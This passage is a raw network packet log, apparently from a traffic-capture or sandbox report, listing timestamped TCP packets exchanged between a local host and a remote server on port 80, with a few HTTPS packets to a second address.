Nov 23, 2024 20:23:10.696265936 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.696302891 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.696338892 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.699054003 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.699120998 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.699203014 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.699254036 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.701924086 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.701978922 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.702140093 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.702189922 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.704786062 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.704859018 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.704909086 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.704957962 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.706870079 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.706918955 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.707077980 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.707124949 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.709019899 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.709069967 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.709089041 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.709132910 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.711098909 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.711148024 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.711190939 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.711237907 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.713198900 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.713265896 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.713275909 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.713330030 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.715341091 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.715404987 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.715548038 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.715610027 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.717421055 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.717519045 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.717550039 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.717611074 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.719722986 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.719777107 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.719815969 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.719868898 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.721784115 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.721837044 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.722244024 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.722443104 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.723740101 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.723797083 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.723829031 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.723876953 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.725841045 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.725903034 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.725964069 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.726013899 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.727951050 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.728049994 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.728086948 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.728148937 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.730060101 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.730133057 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.730154037 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.730204105 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.732167959 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.732229948 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.732264996 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.732317924 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.734441996 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.734488964 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.734509945 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.734544039 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.736350060 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.736404896 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.736463070 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.736510038 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.738470078 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.738555908 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.738575935 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.738621950 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.740633965 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.740688086 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.740720987 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.740767002 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.742759943 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.742810011 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.742830992 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.742866039 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.744806051 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.744851112 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.745028019 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.745080948 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.746886969 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.746942997 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.746977091 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.747030020 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.748994112 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.749068975 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.749069929 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.749114990 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.751104116 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.751156092 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.751308918 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.751359940 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.753207922 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.753262043 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.753354073 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.753400087 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.755340099 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.755393982 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.755610943 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.755661964 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.757412910 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.757462978 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.757524014 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.757580996 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.759618044 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.759686947 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.759690046 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.759736061 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.761646032 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.761702061 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.761812925 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.761859894 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.763760090 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.763816118 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.764039993 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.764094114 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.765845060 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.765896082 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.765933037 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.765981913 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.768256903 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.768305063 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.768429041 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.768594980 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.770101070 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.770179987 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.770256042 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.770306110 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.772135019 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.772187948 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.772231102 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.772277117 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.774240017 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.774292946 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.860191107 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.860270977 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.860291004 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.860327959 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.861035109 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.861087084 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.861155987 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.861208916 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.862819910 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.862869978 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.862921000 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.862972975 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.864603996 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.864658117 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.864892960 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.864943981 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.866488934 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.866542101 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.866627932 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.866678953 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.868170977 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.868221045 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.868330956 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.868403912 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.869968891 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.870016098 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.870039940 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.870085001 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.879132986 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.879228115 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.879234076 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.879280090 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.879962921 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.880012035 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.880049944 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.880091906 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.881369114 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.881418943 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.881458998 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.881511927 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.883141994 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.883234978 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.883337975 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.883337975 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.884943008 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.885004997 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.885049105 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.885103941 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.886723042 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.886775017 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.886814117 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.886859894 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.888510942 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.888571978 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.888632059 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.888678074 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.890263081 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.890307903 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.890368938 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.890415907 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.892033100 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.892076969 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.892141104 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.892195940 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.893831968 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.893884897 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.893923044 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.893966913 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.895613909 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.895663023 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.895669937 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.896007061 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.897006989 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.897063017 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.897092104 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.897138119 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.898341894 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.898396969 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.898441076 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.898488998 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.899266005 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.899346113 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.899347067 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.899391890 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.900156021 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.900207996 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.900240898 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.900289059 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.901047945 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.901093960 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.901161909 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.901207924 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.901930094 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.901978016 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.902046919 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.902086973 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.902825117 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.902884960 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.902915001 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.902965069 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.903711081 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.903733015 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.903759003 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.903788090 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.904643059 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.904692888 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.904742956 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.904795885 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.905509949 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.905556917 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.905771017 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.905819893 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.905889988 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:10.906316042 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:10.906363010 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:10.906383038 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.906438112 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.906495094 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.906541109 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.906750917 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:10.906766891 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:10.907286882 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.907335997 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.907393932 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.907439947 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.908179045 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.908226013 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.908262014 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.908308029 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.909040928 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.909084082 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.909158945 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.909203053 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.909943104 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.910015106 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.910046101 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.910089970 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.910868883 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.910963058 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.910984039 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.911070108 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.911781073 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.911827087 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.911856890 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.911906958 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.912621975 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.912673950 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.912736893 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.912781954 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.913526058 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.913580894 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.913654089 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.913697958 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.914427042 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.914482117 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.914539099 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.914582968 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.915380955 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.915431023 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.915501118 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.915544033 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.916692019 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.916754007 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.916856050 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.916898966 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.917092085 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.917135954 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.917237997 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.917285919 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.917987108 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.918036938 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.918106079 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.918157101 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.918885946 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.918948889 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.919058084 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.919104099 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.919776917 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.919826984 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.919908047 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.919959068 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.920660973 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.920707941 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.920774937 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.920819044 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.921570063 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.921622038 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.921713114 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.921763897 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.922461033 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.922512054 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.922579050 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.922626019 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.923369884 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.923413992 CET	49760	80	192.168.2.4	185.215.113.16
